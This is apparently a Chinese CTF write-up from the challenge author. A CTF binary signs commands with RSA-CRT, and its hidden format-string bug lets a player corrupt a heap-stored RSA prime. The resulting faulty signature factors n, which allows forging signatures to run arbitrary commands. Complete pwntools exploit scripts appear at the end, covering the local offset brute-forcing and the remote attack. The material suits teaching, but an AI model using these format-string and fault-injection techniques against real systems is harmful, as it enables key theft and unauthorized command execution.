前言
本题源码改自于2022 Samsung的SecureRunner
本题是一道二进制分析和密码学相结合的题,笔者认为出这种题还是很有趣的。
本题暂已托管至西安电子科技大学CTF终端供大家练习复现
链接:NPC²CTF 2025 - 西电 CTF 终端
其余用途均需通过 关于笔者 中的邮箱征得笔者同意
题目编写
源码
源码会开源到我的github仓库
解题步骤
题目描述
小睦的大脑里只有签名正确的命令才能执行,可小睦睡着了,Mortis 太 fw 了不知道私钥。
看来只能和 Mortis 把脑内小剧场破坏的乱七八糟才能拿 flag 了
(简单 Crypto + 签到 PWN = 也许还行的大粪 CRYpwnTO)(需要一点基础的二进制分析能力)
为了降低难度,把这题的密码考点(RSA-CRT Fault Injection)单独编了一个题(即task.zip中的just_a_hint.py)作为提示
靶机连接

连上靶机后忽略没什么用的剧情,结合文字信息和对各种选项的尝试,可以提炼出以下要点
- 选项1可以获取RSA公钥
- 选项2可以执行命令,但同时需要输入命令和这条命令正确的signature
- 选项 3 给了一些 hint
- RSA 算法使用了 CRT 对计算进行了加速
- Mortis 会给一些帮助(对应只能用 1 次的选项 114)(彩蛋:1 月 14 日是睦子米的生日哦)
- 有什么东西藏起来了(IDA 打开会发现一个隐藏的函数
yada,选项 9999)
- 选项114可以让Mortis提供2条指令中任意1条签名,但程序每次运行只能选1次114
总结本题是一个命令执行器,但是每条指令都需要用私钥正确签名才能执行,所以我们的目标是拿到私钥,归根结底是要成功分解N。
分析 just_a_hint.py
核心是hintGenerate函数,模仿了RSA-CRT Fault Injection的过程(即使)生成了一个hint
def hintGenetare(p,q,d): m=bytes_to_long(b"Just a hint") q= q ^ (0xff << randint(1, 128)) dp = d % (p - 1) dq = d % (q - 1) sp = pow(m, dp, p) sq = pow(m, dq, q) a = q * pow(q, -1, p) b = p * pow(p, -1, q) hint = (a*sp +b*sq)% n return hint
|
解决本题的关键代码实际上就一行,p = GCD(pow(hint, e) - m, n)
具体原理大家直接搜索RSA-CRT Fault Injection即可,下图是我胡乱谷歌出来的一篇论文⬇️
用 CRT 加速 RSA 计算的话,如果过程中出现上面论文图中所述错误,得到一个错误的签名 s 我们就可以如上图所示 p = GCD(pow(s, e) - m, n) 分解 n,算出私钥,进而伪造 signature。
如果是传统附件密码题的话,我应该用一个函数模拟计算出错,算出一个数字(hint=……),然后直 print 给你,你再算出私钥。但是这样就完全没有“故障注入”的感觉了,用 Pwn 的手段来实现的话,没有 hint 就自己创造 hint,更贴近实战的感觉。
至此,成功分解$p,q$,解密msg已经是轻轻松松,但注释也说了这只是一个hint,和答案没什么关系,只是给题目主体指明解题方向
根据选项 3 提供的hint,程序也使用了 RSA-CRT,如果我们对程序中的RSA参数也进行Fault Injection,那就能分解p和q,那拿私钥就可以说是信手拈来了,进而伪造小睦签名的 signature 执行任意命令
分析二进制文件
本题main函数通过IDA反编译后可以说是逻辑相当清晰
int __fastcall main(int argc, const char **argv, const char **envp) { int n9; unsigned int v5; int v6; _BYTE v7[168]; unsigned __int64 v8;
v8 = __readfsqword(0x28u); v5 = 0; v6 = 0; setbuf(stdin, 0LL); setbuf(_bss_start, 0LL); initRSA(v7); heap = (__int64)malloc(0x100uLL); generateKey(v7); welcome(); do { n9 = menu(); if ( n9 == 9999 ) { yada(); } else if ( n9 <= 9999 ) { if ( n9 == 114 ) { if ( v6 <= 0 ) { v5 = MortisHelp(v5); generateSign((&cmds)[v5], v7); ++v6; } else { puts("get the hell out of here , Mortis!!!"); n9 = 9; } } else if ( n9 <= 114 ) { if ( n9 == 3 ) { hint(); } else if ( n9 <= 3 ) { if ( n9 == 1 ) { printRSA((__int64)v7); } else if ( n9 == 2 ) { verifyAndRun(v7); } } } } } while ( n9 != 9 ); deleteRSA(v7); return 0; }
|
实时计算的公钥N
明显看到n是两个1024位的大数实时相乘,即选项 1 打印 n=p*q 是实时计算的,可以用作验证Fault Injection是否成功
$16*64=1024$

RSA密码算法由GNU的GMP库实现
gmp 库中 的$n,e,p,q$中这类大数字会存在堆中,只要能有在堆上修改内存的手段就可以攻击成功
隐藏函数yada()存在格式化字符串漏洞
专门给了一个堆指针,还能随便改堆指针指向的位置
经过gdb动态调试,可以得知堆指针在栈上和格式化字符串p偏移为7
再用格式化字符串实现堆上的任意地址写(%7$n)
只需要知道RSA参数的在堆中的正确位置即可打出故障注入,拿到私钥,执行任意命令

解题思路
- 选项 1 先获取一个 $n$
- 利用
yada() 尝试 fault injection,要爆破 rsa 参数的位置
- 选项 1 检测 $n$ 和原来 的 $n$ 是否相同,如果不同则说明 inject 成功
- 这个时候 $p$ 和 $q$已经有一个被玩坏了。选项 114 算一个错误签名 $s$,然后
p = GCD(pow(s, e) - m, n),算出私钥
- 伪造 signature,随便执行你想要的命令
EXP
先在本地找到正确的 offset
from pwn import * from Crypto.Util.number import bytes_to_long, GCD
def try_offset(offset):
def choice(num): r.sendlineafter(b"> ", str(num).encode()) def get_pubkey(): choice(1) r.recvuntil(b"n = ") n = int(r.recvline().strip()) r.recvuntil(b"e = ") e = int(r.recvline().strip()) return n, e def injectFault(offset): choice(9999) sleep(0.1) r.sendline(str(offset).encode()) sleep(0.1) r.sendline(b"%7$n") sleep(0.1) r=process("./challenge") print(f"Trying offset: {offset}") n,e=get_pubkey() injectFault(offset) new_n,e=get_pubkey() if new_n != n: print(f"Found offset: {offset}") pause()
offset=0 step=1024//8-1 while True: try: try_offset(offset) try_offset(-offset) offset += step except Exception as e: print(f"Error: {e}") continue
|
最后打一个远程
from pwn import * from Crypto.Util.number import bytes_to_long, GCD
r=remote("", ) def choice(num): r.sendlineafter(b"> ", str(num).encode())
def get_pubkey(): choice(1) r.recvuntil(b"n = ") n = int(r.recvline().strip()) r.recvuntil(b"e = ") e = int(r.recvline().strip()) return n, e
def injectFault(offset): choice(9999) sleep(0.1) r.sendline(str(offset).encode()) sleep(0.1) r.sendline(b"%7$n") sleep(0.1)
def CallMortis(): choice(114) r.sendlineafter(b"> ", str(0).encode()) r.recvuntil(b"sign = ") sign = int(r.recvline().strip()) return sign
def Execute(n,e,s,cmd): choice(2) m = bytes_to_long(b"ls -la /") p = GCD(pow(s, e, n) - m, n) q = n // p assert(p * q == n) d = pow(e, -1, (p - 1) * (q - 1)) sign = pow(bytes_to_long(cmd), d, n) r.sendlineafter(b"> ",cmd) r.sendlineafter(b"> ",str(sign).encode())
n,e=get_pubkey() success(b"n=") print(n) success(b"e=") print(e)
injectFault(-2413)
s=CallMortis() success(b"s=") print(s)
cmd = b"cat /flag" Execute(n,e,s,cmd)
r.interactive()
|
后记
这道题不论是密码的部分还是二进制的部分,拆看单独看的话最多是个签到/简单难度,但合在一块就可能会很难了,毕竟跨方向。
出题人其实也在考虑这题是放在Crypto还是Misc好,但是PWN的部分实在是太签到了,还是放在Crypto里面吧,培养一下选手们的综合能力,别骂我😭
最后也是让大家爆零了,题目质量可以说是好坏二象性。可能真的需要二进制、密码双修的同学才能完成
不过也学到了一种出题思路……